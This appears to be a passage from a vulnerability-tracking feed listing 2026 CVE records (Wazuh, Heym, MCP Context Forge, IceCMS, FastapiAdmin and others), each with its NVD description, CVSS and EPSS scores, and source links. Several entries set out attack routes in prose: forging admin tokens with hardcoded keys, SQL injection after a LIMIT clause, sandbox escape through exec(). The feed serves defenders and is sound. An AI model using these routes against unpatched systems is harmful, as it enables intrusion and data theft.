EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-74033&date=2026-10-25).
Sources:
NVD CVE-2026-74033: https://nvd.nist.gov/vuln/detail/CVE-2026-74033
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-74033&date=2026-10-25
Wazuh from 4.1.1 before 4.14.8 contains a path traversal vulnerability in the get_lists() and delete_list_file() CDB list handlers that allows compromised cluster workers to read or delete master files. Attackers can send traversal or absolute-path filenames through the internal cluster RPC path, bypassing REST validation and RBAC to delete files like rbac.db.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heym builds and runs agentic systems and business-process automations on self-hosted infrastructure.
https://kevwire.com/record/CVE-2026-55376
Heym builds and runs agentic systems and business-process automations on self-hosted infrastructure. (Oct 13, 2026).
Heym builds and runs agentic systems and business-process automations on self-hosted infrastructure. Prior to 0.0.40, an authenticated user who can create or edit a workflow with an Agent custom Python tool can bypass the blacklist-based sandbox in backend/app/services/python_tool_executor.py because allowed standard-library modules expose operating-system, process, and filesystem capabilities through public attributes that pass _safe_import() and _validate_code_safety(). The runner then executes the supplied tool with exec(), permitting commands and file operations as the backend application user; self-registration affects reachability, but portal triggering alone does not grant code control. This issue is fixed in 0.0.40.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55376).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55376&date=2026-10-25).
Sources:
NVD CVE-2026-55376: https://nvd.nist.gov/vuln/detail/CVE-2026-55376
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55376&date=2026-10-25
Heym builds and runs agentic systems and business-process automations on self-hosted infrastructure. Prior to 0.0.40, an authenticated user who can create or edit a workflow with an Agent custom Python tool can bypass the blacklist-based sandbox in backend/app/services/python_tool_executor.py because allowed standard-library modules expose operating-system, process, and filesystem capabilities through public attributes that pass _safe_import() and _validate_code_safety(). The runner then executes the supplied tool with exec(), permitting commands and file operations as the backend application user; self-registration affects reachability, but portal triggering alone does not grant code control. This issue is fixed in 0.0.40.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MCP Context Forge is an MCP gateway and administrative platform.
https://kevwire.com/record/CVE-2026-53709
MCP Context Forge is an MCP gateway and administrative platform. (Oct 13, 2026).
MCP Context Forge is an MCP gateway and administrative platform. Prior to 1.0.2, mcpgateway/config.py and .env.example ship a known JWT_SECRET_KEY, while verify_jwt_token() accepts HS256 tokens signed with that key and get_current_user() creates a platform administrator when the token subject matches PLATFORM_ADMIN_EMAIL and REQUIRE_USER_IN_DB is false. A remote unauthenticated attacker can therefore mint accepted administrator tokens without a database account. While the vulnerable signing key remains configured and the platform-admin bootstrap remains enabled, forged access survives password rotation, account deletion, and session revocation, allowing administrative disclosure, modification, and service disruption. This issue is fixed in version 1.0.2.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-53709).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53709&date=2026-10-25).
Sources:
NVD CVE-2026-53709: https://nvd.nist.gov/vuln/detail/CVE-2026-53709
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53709&date=2026-10-25
MCP Context Forge is an MCP gateway and administrative platform. Prior to 1.0.2, mcpgateway/config.py and .env.example ship a known JWT_SECRET_KEY, while verify_jwt_token() accepts HS256 tokens signed with that key and get_current_user() creates a platform administrator when the token subject matches PLATFORM_ADMIN_EMAIL and REQUIRE_USER_IN_DB is false. A remote unauthenticated attacker can therefore mint accepted administrator tokens without a database account. While the vulnerable signing key remains configured and the platform-admin bootstrap remains enabled, forged access survives password rotation, account deletion, and session revocation, allowing administrative disclosure, modification, and service disruption. This issue is fixed in version 1.0.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netcore NR256CN through 1.5.140116 contains a pre-authentication stack overflow vulnerability in the Boa web server's user_ok() function, which copies Basic-auth usernames with...
https://kevwire.com/record/CVE-2026-111711
Netcore NR256CN through 1.5.140116 contains a pre-authentication stack overflow vulnerability in the Boa web server's user_ok() function, which copies Basic-auth usernames with... (Oct 16, 2026).
Netcore NR256CN through 1.5.140116 contains a pre-authentication stack overflow vulnerability in the Boa web server's user_ok() function, which copies Basic-auth usernames with unbounded strcpy() calls into 64-byte stack buffers. Unauthenticated attackers can send a username longer than 63 bytes to any protected /router/*.cgi route to crash the main Boa process or potentially execute code.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111711).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111711&date=2026-10-25).
Sources:
NVD CVE-2026-111711: https://nvd.nist.gov/vuln/detail/CVE-2026-111711
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111711&date=2026-10-25
Netcore NR256CN through 1.5.140116 contains a pre-authentication stack overflow vulnerability in the Boa web server's user_ok() function, which copies Basic-auth usernames with unbounded strcpy() calls into 64-byte stack buffers. Unauthenticated attackers can send a username longer than 63 bytes to any protected /router/*.cgi route to crash the main Boa process or potentially execute code.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### 99AI through 4.3.0 contains a missing authentication vulnerability in the POST /api/chatLog/exportExcel route that allows unauthenticated attackers to export all users' chat logs.
https://kevwire.com/record/CVE-2026-111706
99AI through 4.3.0 contains a missing authentication vulnerability in the POST /api/chatLog/exportExcel route that allows unauthenticated attackers to export all users' chat logs. (Oct 16, 2026).
99AI through 4.3.0 contains a missing authentication vulnerability in the POST /api/chatLog/exportExcel route that allows unauthenticated attackers to export all users' chat logs. Attackers can send requests with controlled page, size, and optional email fields to download xlsx files containing usernames, emails, prompts, and AI answers.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111706).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111706&date=2026-10-25).
Sources:
NVD CVE-2026-111706: https://nvd.nist.gov/vuln/detail/CVE-2026-111706
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111706&date=2026-10-25
99AI through 4.3.0 contains a missing authentication vulnerability in the POST /api/chatLog/exportExcel route that allows unauthenticated attackers to export all users' chat logs. Attackers can send requests with controlled page, size, and optional email fields to download xlsx files containing usernames, emails, prompts, and AI answers.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OtterMind Nubase through 0.1.4 contains a missing authentication vulnerability that allows unauthenticated attackers to access private bucket objects because...
https://kevwire.com/record/CVE-2026-111701
OtterMind Nubase through 0.1.4 contains a missing authentication vulnerability that allows unauthenticated attackers to access private bucket objects because... (Oct 16, 2026).
OtterMind Nubase through 0.1.4 contains a missing authentication vulnerability that allows unauthenticated attackers to access private bucket objects because /storage/v1/object/{bucketId}/{path} is treated as public for every HTTP method. Attackers knowing a tenant subdomain, bucket id and object path can download objects from private buckets and delete stored objects without an apikey or JWT.
CVSS 8.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111701).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111701&date=2026-10-25).
Sources:
NVD CVE-2026-111701: https://nvd.nist.gov/vuln/detail/CVE-2026-111701
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111701&date=2026-10-25
OtterMind Nubase through 0.1.4 contains a missing authentication vulnerability that allows unauthenticated attackers to access private bucket objects because /storage/v1/object/{bucketId}/{path} is treated as public for every HTTP method. Attackers knowing a tenant subdomain, bucket id and object path can download objects from private buckets and delete stored objects without an apikey or JWT.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### data-platform-open through commit efeacd3 uses a hardcoded, publicly known default AES key in AesPasswordEncAndDecServiceImpl, allowing authenticated attackers to decrypt stored...
https://kevwire.com/record/CVE-2026-111696
data-platform-open through commit efeacd3 uses a hardcoded, publicly known default AES key in AesPasswordEncAndDecServiceImpl, allowing authenticated attackers to decrypt stored... (Oct 16, 2026).
data-platform-open through commit efeacd3 uses a hardcoded, publicly known default AES key in AesPasswordEncAndDecServiceImpl, allowing authenticated attackers to decrypt stored datasource passwords. Attackers can obtain ciphertext passwords from the datasource detail API, for example via cross-workspace IDOR, and decrypt them offline to recover plaintext database credentials.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111696).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111696&date=2026-10-25).
Sources:
NVD CVE-2026-111696: https://nvd.nist.gov/vuln/detail/CVE-2026-111696
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111696&date=2026-10-25
data-platform-open through commit efeacd3 uses a hardcoded, publicly known default AES key in AesPasswordEncAndDecServiceImpl, allowing authenticated attackers to decrypt stored datasource passwords. Attackers can obtain ciphertext passwords from the datasource detail API, for example via cross-workspace IDOR, and decrypt them offline to recover plaintext database credentials.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WIMOOR through commit ec86736 contains an authentication bypass vulnerability that allows attackers to impersonate any tenant and privilege level by sending an unsigned X-USERINFO...
https://kevwire.com/record/CVE-2026-111691
WIMOOR through commit ec86736 contains an authentication bypass vulnerability that allows attackers to impersonate any tenant and privilege level by sending an unsigned X-USERINFO... (Oct 16, 2026).
WIMOOR through commit ec86736 contains an authentication bypass vulnerability that allows attackers to impersonate any tenant and privilege level by sending an unsigned X-USERINFO header. Attackers reaching backend service ports directly, bypassing the gateway, can forge companyid and manager or admin usertype values to read and modify other tenants' orders, finance data, and Amazon seller authorizations.
CVSS 9.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111691).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111691&date=2026-10-25).
Sources:
NVD CVE-2026-111691: https://nvd.nist.gov/vuln/detail/CVE-2026-111691
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111691&date=2026-10-25
WIMOOR through commit ec86736 contains an authentication bypass vulnerability that allows attackers to impersonate any tenant and privilege level by sending an unsigned X-USERINFO header. Attackers reaching backend service ports directly, bypassing the gateway, can forge companyid and manager or admin usertype values to read and modify other tenants' orders, finance data, and Amazon seller authorizations.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IceCMS through 4.1.5 contains an unauthenticated sql injection vulnerability that allows remote attackers to inject SQL through the num path parameter of...
https://kevwire.com/record/CVE-2026-111686
IceCMS through 4.1.5 contains an unauthenticated sql injection vulnerability that allows remote attackers to inject SQL through the num path parameter of... (Oct 16, 2026).
IceCMS through 4.1.5 contains an unauthenticated sql injection vulnerability that allows remote attackers to inject SQL through the num path parameter of /WebArticle/findarticlesbynum. Attackers can append crafted SQL after the LIMIT clause concatenated into a MyBatis-Plus QueryWrapper to extract database contents via union-based or blind techniques.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111686).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111686&date=2026-10-25).
Sources:
NVD CVE-2026-111686: https://nvd.nist.gov/vuln/detail/CVE-2026-111686
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111686&date=2026-10-25
IceCMS through 4.1.5 contains an unauthenticated sql injection vulnerability that allows remote attackers to inject SQL through the num path parameter of /WebArticle/findarticlesbynum. Attackers can append crafted SQL after the LIMIT clause concatenated into a MyBatis-Plus QueryWrapper to extract database contents via union-based or blind techniques.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### EFAK through 5.1.0 contains a missing authorization vulnerability that allows authenticated low-privilege users to manage accounts because the /api/users endpoints lack...
https://kevwire.com/record/CVE-2026-111681
EFAK through 5.1.0 contains a missing authorization vulnerability that allows authenticated low-privilege users to manage accounts because the /api/users endpoints lack... (Oct 16, 2026).
EFAK through 5.1.0 contains a missing authorization vulnerability that allows authenticated low-privilege users to manage accounts because the /api/users endpoints lack administrator role checks. Attackers can send POST, PUT, or DELETE requests to UserController to grant themselves ROLE_ADMIN, create administrators, or delete users, gaining control of managed Kafka clusters.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111681).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111681&date=2026-10-25).
Sources:
NVD CVE-2026-111681: https://nvd.nist.gov/vuln/detail/CVE-2026-111681
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111681&date=2026-10-25
EFAK through 5.1.0 contains a missing authorization vulnerability that allows authenticated low-privilege users to manage accounts because the /api/users endpoints lack administrator role checks. Attackers can send POST, PUT, or DELETE requests to UserController to grant themselves ROLE_ADMIN, create administrators, or delete users, gaining control of managed Kafka clusters.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cube-studio through 2026.09.01 contains an insecure direct object reference vulnerability that allows authenticated users to stop, reset, clear or redeploy other users' notebooks...
https://kevwire.com/record/CVE-2026-111671
Cube-studio through 2026.09.01 contains an insecure direct object reference vulnerability that allows authenticated users to stop, reset, clear or redeploy other users' notebooks... (Oct 16, 2026).
Cube-studio through 2026.09.01 contains an insecure direct object reference vulnerability that allows authenticated users to stop, reset, clear or redeploy other users' notebooks and services by id. Attackers can pass sequential ids to lifecycle endpoints in view_notebook.py, view_inferenceserving.py and view_serving.py to delete pods and take production inference endpoints offline.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111671).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111671&date=2026-10-25).
Sources:
NVD CVE-2026-111671: https://nvd.nist.gov/vuln/detail/CVE-2026-111671
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111671&date=2026-10-25
Cube-studio through 2026.09.01 contains an insecure direct object reference vulnerability that allows authenticated users to stop, reset, clear or redeploy other users' notebooks and services by id. Attackers can pass sequential ids to lifecycle endpoints in view_notebook.py, view_inferenceserving.py and view_serving.py to delete pods and take production inference endpoints offline.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Risesoft Digital-Infrastructure through 9.6.11 contains a missing authorization vulnerability in the log module DownloadController that allows authenticated users to export any...
https://kevwire.com/record/CVE-2026-111651
Risesoft Digital-Infrastructure through 9.6.11 contains a missing authorization vulnerability in the log module DownloadController that allows authenticated users to export any... (Oct 16, 2026).
Risesoft Digital-Infrastructure through 9.6.11 contains a missing authorization vulnerability in the log module DownloadController that allows authenticated users to export any tenant's personnel directory. Attackers can supply another tenant's tenantId to exportLoginXLS or exportNotLoginXLS to obtain XLSX files with names, login names, organization paths, mobile numbers, and emails.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111651).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111651&date=2026-10-25).
Sources:
NVD CVE-2026-111651: https://nvd.nist.gov/vuln/detail/CVE-2026-111651
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111651&date=2026-10-25
Risesoft Digital-Infrastructure through 9.6.11 contains a missing authorization vulnerability in the log module DownloadController that allows authenticated users to export any tenant's personnel directory. Attackers can supply another tenant's tenantId to exportLoginXLS or exportNotLoginXLS to obtain XLSX files with names, login names, organization paths, mobile numbers, and emails.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SurveyKing before 1.13.0 contains a missing authorization vulnerability that allows unauthenticated attackers to download any stored file by id through GET...
https://kevwire.com/record/CVE-2026-111646
SurveyKing before 1.13.0 contains a missing authorization vulnerability that allows unauthenticated attackers to download any stored file by id through GET... (Oct 16, 2026).
SurveyKing before 1.13.0 contains a missing authorization vulnerability that allows unauthenticated attackers to download any stored file by id through GET /api/public/preview/{attachmentId}. Attackers who know or derive time-ordered snowflake file ids can bypass shared, owner, and project checks in FileServiceImpl.loadFile to read private survey attachments and respondent uploads.
CVSS 8.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111646).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111646&date=2026-10-25).
Sources:
NVD CVE-2026-111646: https://nvd.nist.gov/vuln/detail/CVE-2026-111646
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111646&date=2026-10-25
SurveyKing before 1.13.0 contains a missing authorization vulnerability that allows unauthenticated attackers to download any stored file by id through GET /api/public/preview/{attachmentId}. Attackers who know or derive time-ordered snowflake file ids can bypass shared, owner, and project checks in FileServiceImpl.loadFile to read private survey attachments and respondent uploads.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FastapiAdmin through 3.0 contains an authentication bypass vulnerability that allows unauthenticated attackers to obtain sessions for any user by abusing unprotected auto-login...
https://kevwire.com/record/CVE-2026-111641
FastapiAdmin through 3.0 contains an authentication bypass vulnerability that allows unauthenticated attackers to obtain sessions for any user by abusing unprotected auto-login... (Oct 16, 2026).
FastapiAdmin through 3.0 contains an authentication bypass vulnerability that allows unauthenticated attackers to obtain sessions for any user by abusing unprotected auto-login endpoints. Attackers can list users via /api/v1/auth/auto-login/users, mint a superuser auto-login token, and exchange it for a JWT session to gain full administrative control.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111641).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111641&date=2026-10-25).
Sources:
NVD CVE-2026-111641: https://nvd.nist.gov/vuln/detail/CVE-2026-111641
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111641&date=2026-10-25
FastapiAdmin through 3.0 contains an authentication bypass vulnerability that allows unauthenticated attackers to obtain sessions for any user by abusing unprotected auto-login endpoints. Attackers can list users via /api/v1/auth/auto-login/users, mint a superuser auto-login token, and exchange it for a JWT session to gain full administrative control.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenBMB StaffDeck through 0.5.6 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge administrator session tokens using the hard-coded...
https://kevwire.com/record/CVE-2026-111636
OpenBMB StaffDeck through 0.5.6 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge administrator session tokens using the hard-coded... (Oct 16, 2026).
OpenBMB StaffDeck through 0.5.6 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge administrator session tokens using the hard-coded default app_secret. Attackers can sign an HMAC-SHA256 token for the seeded 'admin' user in 'tenant_demo' to gain full tenant administration, including stored model and channel credentials.
CVSS 9.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111636).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111636&date=2026-10-25).
Sources:
NVD CVE-2026-111636: https://nvd.nist.gov/vuln/detail/CVE-2026-111636
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111636&date=2026-10-25
OpenBMB StaffDeck through 0.5.6 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge administrator session tokens using the hard-coded default app_secret. Attackers can sign an HMAC-SHA256 token for the seeded 'admin' user in 'tenant_demo' to gain full tenant administration, including stored model and channel credentials.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Webreaper Damselfly through 4.5.3 contains an authentication bypass vulnerability that allows unauthenticated attackers to access all /api/* routes because controller...
https://kevwire.com/record/CVE-2026-111626
Webreaper Damselfly through 4.5.3 contains an authentication bypass vulnerability that allows unauthenticated attackers to access all /api/* routes because controller... (Oct 16, 2026).
Webreaper Damselfly through 4.5.3 contains an authentication bypass vulnerability that allows unauthenticated attackers to access all /api/* routes because controller authorization attributes are commented out. Attackers can send PUT /api/users with Admin roles to create administrator accounts, or POST /api/users to reset any user's password, gaining full control.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111626).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111626&date=2026-10-25).
Sources:
NVD CVE-2026-111626: https://nvd.nist.gov/vuln/detail/CVE-2026-111626
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111626&date=2026-10-25
Webreaper Damselfly through 4.5.3 contains an authentication bypass vulnerability that allows unauthenticated attackers to access all /api/* routes because controller authorization attributes are commented out. Attackers can send PUT /api/users with Admin roles to create administrator accounts, or POST /api/users to reset any user's password, gaining full control.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Huly Platform through 0.7.432 contains a missing authorization vulnerability that allows any authenticated user to merge arbitrary persons by calling the mergeSpecifiedPersons...
https://kevwire.com/record/CVE-2026-111606
Huly Platform through 0.7.432 contains a missing authorization vulnerability that allows any authenticated user to merge arbitrary persons by calling the mergeSpecifiedPersons... (Oct 16, 2026).
Huly Platform through 0.7.432 contains a missing authorization vulnerability that allows any authenticated user to merge arbitrary persons by calling the mergeSpecifiedPersons account RPC. Attackers knowing two person UUIDs can graft attacker-controlled unverified social ids onto a victim person, then use login or password recovery to take over the victim account.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111606).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111606&date=2026-10-25).
Sources:
NVD CVE-2026-111606: https://nvd.nist.gov/vuln/detail/CVE-2026-111606
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111606&date=2026-10-25
Huly Platform through 0.7.432 contains a missing authorization vulnerability that allows any authenticated user to merge arbitrary persons by calling the mergeSpecifiedPersons account RPC. Attackers knowing two person UUIDs can graft attacker-controlled unverified social ids onto a victim person, then use login or password recovery to take over the victim account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### yt-dlp-web-ui through 4.0.0 contains a NULL pointer dereference vulnerability in the Service.Formats JSON-RPC method that allows remote unauthenticated attackers to crash the...
https://kevwire.com/record/CVE-2026-109967
yt-dlp-web-ui through 4.0.0 contains a NULL pointer dereference vulnerability in the Service.Formats JSON-RPC method that allows remote unauthenticated attackers to crash the... (Oct 13, 2026).
yt-dlp-web-ui through 4.0.0 contains a NULL pointer dereference vulnerability in the Service.Formats JSON-RPC method that allows remote unauthenticated attackers to crash the server. Attackers can send a single request with a url value like --version, causing invalid yt-dlp JSON output and an unrecovered panic that terminates the process.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109967).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109967&date=2026-10-25).
Sources:
NVD CVE-2026-109967: https://nvd.nist.gov/vuln/detail/CVE-2026-109967
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109967&date=2026-10-25
yt-dlp-web-ui through 4.0.0 contains a NULL pointer dereference vulnerability in the Service.Formats JSON-RPC method that allows remote unauthenticated attackers to crash the server. Attackers can send a single request with a url value like --version, causing invalid yt-dlp JSON output and an unrecovered panic that terminates the process.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
